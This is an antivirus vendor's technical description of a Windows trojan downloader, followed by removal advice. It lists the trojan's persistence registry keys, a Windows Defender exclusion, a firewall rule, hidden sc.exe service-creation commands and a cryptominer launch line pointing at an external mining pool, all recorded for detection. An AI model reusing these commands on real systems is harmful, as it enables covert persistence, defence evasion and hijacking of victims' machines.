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Trojan.DownLoader44.47959

Added to the Dr.Web virus database: 2022-03-29

Virus description added:

Technical Information

To ensure autorun and distribution
Sets the following service settings
  • [<HKLM>\System\CurrentControlSet\Services\xpwkiajp] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\xpwkiajp] 'ImagePath' = '%WINDIR%\SysWOW64\xpwkiajp\nbndrluc.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\xpwkiajp] 'ImagePath' = '%WINDIR%\SysWOW64\xpwkiajp\nbndrluc.exe'
Creates the following services
  • 'xpwkiajp' %WINDIR%\SysWOW64\xpwkiajp\nbndrluc.exe /d"<Full path to file>"
  • 'xpwkiajp' %WINDIR%\SysWOW64\xpwkiajp\nbndrluc.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\xpwkiajp' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\nbndrluc.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\nbndrluc.exe to %WINDIR%\syswow64\xpwkiajp\nbndrluc.exe
Deletes itself.
Network activity
Connects to
  • 'mi##########m.mail.protection.outlook.com':25
  • 'go##le.nl':443
  • 'as###.daum.net':25
  • 'cf#####com.mx.av-mx.com':25
  • 'na#.###.#rotection.outlook.com':25
  • 'mx.##a.untd.com':25
  • 'mx.##wered.name':25
  • 'cx#.##.#.cloudfilter.net':25
  • 'mx#.#ate.com':25
  • 'in###gram.com':443
  • 'mx.##s.untd.com':25
  • 'ab######le.com.1.arsmtp.com':25
  • 'mx##.schlund.de':25
  • 'ma##.#iaweb.co.kr':25
  • 'mx##.###us-vadesecure.net':25
  • 'mx#######901.gslb.pphosted.com':25
  • 'xm###chool.cf':2222
  • 'mt#######.#et.mx1.greymail.rcimx.net':25
  • 'mx#######601.gslb.pphosted.com':25
  • '10#.#62.165.235':443
  • 'ma####t.ocgov.org':25
  • 'mx.##nmail.nl':25
  • 'pa####x.above.com':25
  • 'ma###.#ailinator.com':25
  • 'sm###.a1.net':25
  • 'ma##.##st-my-mail.com':25
  • 'pu######1.mail2world.com':25
  • '15#.#40.205.63':443
  • 'go###e.co.uk':443
  • 'so####1.sohu.com':25
  • 'ma##.##tfirms-inc.com':25
  • 'no########.net.mx1.nstel.rcimx.net':25
  • 'sm####office.net':25
  • 'uq#c.ca':443
  • 'mx##.###g.kundenserver.de':25
  • 'ch##.#ennolab.com':443
  • 'ma##.mlec2.net':25
  • 'co#######.#et.mx2.greymail.rcimx.net':25
  • 'mx##.mb5p.com':25
  • 'cu####house.ua.edu':443
  • 'cs##.umbc.edu':443
  • 'ca#.##rusfree.cz':25
  • 'ALT1.ASPMX.L.GOOGLE.COM':25
  • 'mx##.mail.com':25
  • 'ma##.merge.com':25
  • 'ex#####e.sexpays.info':25
  • 'mx#######d01.gslb.pphosted.com':25
  • 'mx#.####.net.gslb.pphosted.com':25
  • '91.#43.33.5':427
  • '31.#3.64.52':443
  • 'wa####-api.btc.com':443
  • 'm.###tube.com':443
  • 'google.com':443
  • '15#.#40.201.174':443
  • '14#.#50.27.108':993
  • 'google.com':80
  • '62.##4.41.49':427
  • 'mx#######701.gslb.pphosted.com':25
  • 'ma##.##ubleupmobile.com':25
  • '62.##4.41.48':427
  • '62.##4.41.47':427
  • '62.##4.41.46':427
  • 'mx#.#eznam.cz':25
  • 'mx#.#aver.com':25
  • 'aspmx.l.google.com':25
  • 'mx.#p.pl':25
  • '62.##4.41.45':483
  • 'ni###eimr.cn':443
  • '62.##4.41.50':427
  • 'uh###.ilstu.edu':443
  • 'mx#.##avis99.com':25
  • 'sm##.##lb.stifel.com':25
  • 'mx#######f01.gslb.pphosted.com':25
  • 'r-####3.korea.com':25
  • 'go##le.ca':443
  • 'mx######91d01.pphosted.com':25
  • 'em##.freenet.de':25
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'gm###.##m.1.0001.arsmtp.com':25
  • 'ma#########ty.net.mx1.mctc.rcimx.net':25
  • 'mx#########st-2.prod.hydra.sophos.com':25
  • 'mx##.##il.icloud.com':25
  • 'ex#####.bpbb.bigpond.com':25
  • 'm.###ebook.com':443
  • 'mx##.#-online.de':25
  • 'gmr-smtp-in.l.google.com':25
  • 'go###e.com.my':443
  • 'ma###.gridhost.com':25
  • 'ya#####net.mx.av-mx.com':25
  • 'mx#.#anmail.net':25
  • 'fr#####.#inamail.sina.com.cn':25
  • 'mx#######501.gslb.pphosted.com':25
  • 'd1######.#ss.barracudanetworks.com':25
  • 'ma##.#-email.net':25
TCP
HTTP GET requests
  • http://www.google.com/
Other
  • 'ni###eimr.cn':443
  • '10#.#62.165.235':443
  • 'mt#######.#et.mx1.greymail.rcimx.net':25
  • 'xm###chool.cf':2222
  • 'r-####3.korea.com':25
  • 'ma##.#iaweb.co.kr':25
  • 'ma####t.ocgov.org':25
  • 'in###gram.com':443
  • 'na#.###.#rotection.outlook.com':25
  • 'as###.daum.net':25
  • 'go##le.nl':443
  • 'sm####office.net':25
  • 'ab######le.com.1.arsmtp.com':25
  • 'pa####x.above.com':25
  • 'cs##.umbc.edu':443
  • 'ma##.##st-my-mail.com':25
  • 'ma##.merge.com':25
  • 'ca#.##rusfree.cz':25
  • 'cu####house.ua.edu':443
  • 'mx##.mb5p.com':25
  • 'ch##.#ennolab.com':443
  • 'ma##.mlec2.net':25
  • 'alt2.aspmx.l.google.com':25
  • 'uh###.ilstu.edu':443
  • 'no########.net.mx1.nstel.rcimx.net':25
  • 'go###e.co.uk':443
  • '15#.#40.205.63':443
  • 'pu######1.mail2world.com':25
  • '<DNS_SERVER>':53
  • 'ex#####e.sexpays.info':25
  • 'ALT1.ASPMX.L.GOOGLE.COM':25
  • 'ma##.##ubleupmobile.com':25
  • 'm.###ebook.com':443
  • '62.##4.41.45':483
  • '62.##4.41.48':427
  • '62.##4.41.46':427
  • '62.##4.41.47':427
  • '62.##4.41.50':427
  • '62.##4.41.49':427
  • '91.#43.33.5':427
  • '14#.#50.27.108':993
  • '15#.#40.201.174':443
  • 'google.com':443
  • 'm.###tube.com':443
  • 'wa####-api.btc.com':443
  • '31.#3.64.52':443
  • 'aspmx.l.google.com':25
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'mx#.#aver.com':25
  • 'mx#.#eznam.cz':25
  • 'ya#####net.mx.av-mx.com':25
  • 'mx#.#anmail.net':25
  • 'mx#.##avis99.com':25
  • 'go###e.com.my':443
  • 'gmr-smtp-in.l.google.com':25
  • 'fr#####.#inamail.sina.com.cn':25
  • 'd1######.#ss.barracudanetworks.com':25
  • 'gm###.##m.1.0001.arsmtp.com':25
  • 'ma#########ty.net.mx1.mctc.rcimx.net':25
  • 'mx#########st-2.prod.hydra.sophos.com':25
  • 'go##le.ca':443
  • 'mx#.####.net.gslb.pphosted.com':25
  • 'ma###.#ailinator.com':25
UDP
  • DNS ASK mi##########m.mail.protection.outlook.com
  • DNS ASK pa##n.com
  • DNS ASK as###.daum.net
  • DNS ASK go##le.nl
  • DNS ASK ma###sdkr.com
  • DNS ASK uq#c.ca
  • DNS ASK ab###title.com
  • DNS ASK na##.com
  • DNS ASK ab######le.com.1.arsmtp.com
  • DNS ASK pa####x.above.com
  • DNS ASK do###ator.com
  • DNS ASK ma##.merge.com
  • DNS ASK em##l.cz
  • DNS ASK le###gton1.net
  • DNS ASK ALT1.ASPMX.L.GOOGLE.COM
  • DNS ASK ce##rum.cz
  • DNS ASK da##.net
  • DNS ASK be###uth.net
  • DNS ASK cf#####com.mx.av-mx.com
  • DNS ASK cf##th.com
  • DNS ASK na#.###.#rotection.outlook.com
  • DNS ASK wi###wslive.com
  • DNS ASK mx##.schlund.de
  • DNS ASK ne##ero.net
  • DNS ASK oc##ean.com
  • DNS ASK mx.##s.untd.com
  • DNS ASK ma####t.ocgov.org
  • DNS ASK cs.com
  • DNS ASK ca#.##rusfree.cz
  • DNS ASK zi###chool.com
  • DNS ASK ea###link.net
  • DNS ASK in###gram.com
  • DNS ASK co#.net
  • DNS ASK cx#.##.#.cloudfilter.net
  • DNS ASK in##eo.biz
  • DNS ASK re###mail.org
  • DNS ASK mx.##wered.name
  • DNS ASK ju##.com
  • DNS ASK mx##.###us-vadesecure.net
  • DNS ASK mx.##a.untd.com
  • DNS ASK mx#.#ate.com
  • DNS ASK ci###lean.de
  • DNS ASK cs##.umbc.edu
  • DNS ASK ma#####highschool.org
  • DNS ASK ma###nmng.org
  • DNS ASK go###e.co.uk
  • DNS ASK pe###anor.net
  • DNS ASK ma###007.com
  • DNS ASK pu######1.mail2world.com
  • DNS ASK ar###ron.com
  • DNS ASK os###stems.com
  • DNS ASK ma##.##tfirms-inc.com
  • DNS ASK ma##.##st-my-mail.com
  • DNS ASK sm###.a1.net
  • DNS ASK cu####bulldogs.net
  • DNS ASK ma###nator.com
  • DNS ASK ma###.#ailinator.com
  • DNS ASK in#####denthealth.com
  • DNS ASK mx#######701.gslb.pphosted.com
  • DNS ASK pe##ec.com
  • DNS ASK so####1.sohu.com
  • DNS ASK ne###ape.com
  • DNS ASK so##.com
  • DNS ASK ne###rms.com
  • DNS ASK ex#####.bpbb.bigpond.com
  • DNS ASK alt2.aspmx.l.google.com
  • DNS ASK ch##p.com
  • DNS ASK co###rium.net
  • DNS ASK co#######.#et.mx2.greymail.rcimx.net
  • DNS ASK as####fjrmail.com
  • DNS ASK md##.com
  • DNS ASK cu####house.ua.edu
  • DNS ASK mx##.mb5p.com
  • DNS ASK in###star.net
  • DNS ASK ml##2.net
  • DNS ASK mx##.###g.kundenserver.de
  • DNS ASK ma##.com
  • DNS ASK mx##.mail.com
  • DNS ASK uh###.ilstu.edu
  • DNS ASK no###state.net
  • DNS ASK no########.net.mx1.nstel.rcimx.net
  • DNS ASK ch##.#ennolab.com
  • DNS ASK ma##.mlec2.net
  • DNS ASK go##ore.de
  • DNS ASK ma##.#iaweb.co.kr
  • DNS ASK vi###b.co.kr
  • DNS ASK mx#######901.gslb.pphosted.com
  • DNS ASK mx#.##avis99.com
  • DNS ASK se##am.cz
  • DNS ASK je####schools.us
  • DNS ASK ic##ud.com
  • DNS ASK mx##.##il.icloud.com
  • DNS ASK si##.com
  • DNS ASK fr#####.#inamail.sina.com.cn
  • DNS ASK us##ink.com
  • DNS ASK st##el.com
  • DNS ASK am###trade.com
  • DNS ASK mx#######501.gslb.pphosted.com
  • DNS ASK te##s.net
  • DNS ASK ha##ail.net
  • DNS ASK mx#.#anmail.net
  • DNS ASK ya##el.net
  • DNS ASK sr##et.com
  • DNS ASK ma##.##ubleupmobile.com
  • DNS ASK ma###sdkr.net
  • DNS ASK do####upmobile.com
  • DNS ASK m.###ebook.com
  • DNS ASK ni###eimr.cn
  • DNS ASK wp.pl
  • DNS ASK 23#.###.#12.82.bl.spamcop.net
  • DNS ASK mx.#p.pl
  • DNS ASK 23#.###.#12.82.zen.spamhaus.org
  • DNS ASK sc##lus.org
  • DNS ASK aspmx.l.google.com
  • DNS ASK ya#####net.mx.av-mx.com
  • DNS ASK na##r.com
  • DNS ASK sm##.##lb.stifel.com
  • DNS ASK po#t.cz
  • DNS ASK 23#.###.112.82.in-addr.arpa
  • DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
  • DNS ASK 23#.###.#12.82.cbl.abuseat.org
  • DNS ASK google.com
  • DNS ASK m.###tube.com
  • DNS ASK wa####-api.btc.com
  • DNS ASK mx#.#aver.com
  • DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
  • DNS ASK mx#.#eznam.cz
  • DNS ASK mx#######f01.gslb.pphosted.com
  • DNS ASK ma###.gridhost.com
  • DNS ASK mx######91d01.pphosted.com
  • DNS ASK oc##.net
  • DNS ASK mx#.####.net.gslb.pphosted.com
  • DNS ASK ko##a.com
  • DNS ASK r-####3.korea.com
  • DNS ASK ch#####schoolsusa.com
  • DNS ASK mx#######d01.gslb.pphosted.com
  • DNS ASK at#.com
  • DNS ASK go###e.com.my
  • DNS ASK go##le.ca
  • DNS ASK sm####office.net
  • DNS ASK fb.com
  • DNS ASK mx#######601.gslb.pphosted.com
  • DNS ASK mt###line.net
  • DNS ASK mt#######.#et.mx1.greymail.rcimx.net
  • DNS ASK xm###chool.cf
  • DNS ASK ao##ith.com
  • DNS ASK as###eemail.net
  • DNS ASK se###ys.info
  • DNS ASK ex#####e.sexpays.info
  • DNS ASK a1.net
  • DNS ASK ma##.#-email.net
  • DNS ASK mx####.##il.gm0.yahoodns.net
  • DNS ASK gmr-smtp-in.l.google.com
  • DNS ASK t-##line.de
  • DNS ASK mx##.#-online.de
  • DNS ASK ti##ali.nl
  • DNS ASK mx.##nmail.nl
  • DNS ASK ea##e.ca
  • DNS ASK d1######.#ss.barracudanetworks.com
  • DNS ASK fr##net.de
  • DNS ASK em##.freenet.de
  • DNS ASK bi###nd.net.au
  • DNS ASK ps###hools.org
  • DNS ASK mx#########st-2.prod.hydra.sophos.com
  • DNS ASK ma####ncounty.net
  • DNS ASK ma#########ty.net.mx1.mctc.rcimx.net
  • DNS ASK gm##l.com
  • DNS ASK gm###.##m.1.0001.arsmtp.com
  • DNS ASK ve##zon.net
  • DNS ASK go####groups.com
  • DNS ASK ko###kmail.com
  • DNS ASK go##le.be
Miscellaneous
Creates and executes the following
  • '%WINDIR%\syswow64\xpwkiajp\nbndrluc.exe' /d"<Full path to file>"
  • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\xpwkiajp\' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\nbndrluc.exe" %WINDIR%\SysWOW64\xpwkiajp\' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' create xpwkiajp binPath= "%WINDIR%\SysWOW64\xpwkiajp\nbndrluc.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' description xpwkiajp "wifi internet conection"' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' start xpwkiajp' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\xpwkiajp\
  • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\nbndrluc.exe" %WINDIR%\SysWOW64\xpwkiajp\
  • '%WINDIR%\syswow64\sc.exe' create xpwkiajp binPath= "%WINDIR%\SysWOW64\xpwkiajp\nbndrluc.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
  • '%WINDIR%\syswow64\sc.exe' description xpwkiajp "wifi internet conection"
  • '%WINDIR%\syswow64\sc.exe' start xpwkiajp
  • '%WINDIR%\syswow64\svchost.exe'
  • '%WINDIR%\syswow64\svchost.exe' -o xmr-school.cf:2222 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+50000 -p x -k -a cn/half

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
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